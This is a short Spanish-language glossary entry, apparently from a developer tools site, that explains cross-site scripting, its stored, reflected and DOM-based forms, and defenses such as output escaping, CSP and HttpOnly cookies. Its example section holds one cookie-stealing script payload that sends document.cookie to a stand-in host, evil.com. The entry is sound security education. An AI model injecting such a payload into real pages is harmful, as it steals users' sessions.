Saltar al contenido
uencoder

XSS

XSS (cross-site scripting) es el ataque donde el atacante inyecta scripts maliciosos en una página que se ejecutan en el navegador de otros usuarios; tiene formas almacenadas, reflejadas y basadas en DOM.

Propósito

Evitar que scripts maliciosos se ejecuten en el contexto de una página de confianza, protegiendo sesiones y datos del usuario.

Mecanismo

El atacante inyecta <script> en la página (almacenado vía base de datos, reflejado vía parámetros de URL, basado en DOM vía manipulación del DOM en el cliente). El script corre en el navegador de la víctima con sus privilegios de sesión, robando cookies, emitiendo peticiones o alterando la página. Defensas: escape de salida, CSP, cookies HttpOnly.

Casos de uso

  • Renderizar entrada de usuario sin escapar
  • Inyección en comentarios y texto enriquecido
  • Reflejar parámetros de URL en páginas
  • Inyección de scripts de terceros

Ejemplos

  • entrada
    <script>fetch("evil.com?c="+document.cookie)</script>
    Output
    Steals the user cookies

    Stored XSS

Errores comunes

Escaping only < > while missing quotes in attribute contexts
Escape per context: HTML/attribute/JS/URL

Términos relacionados

Herramientas relacionadas

References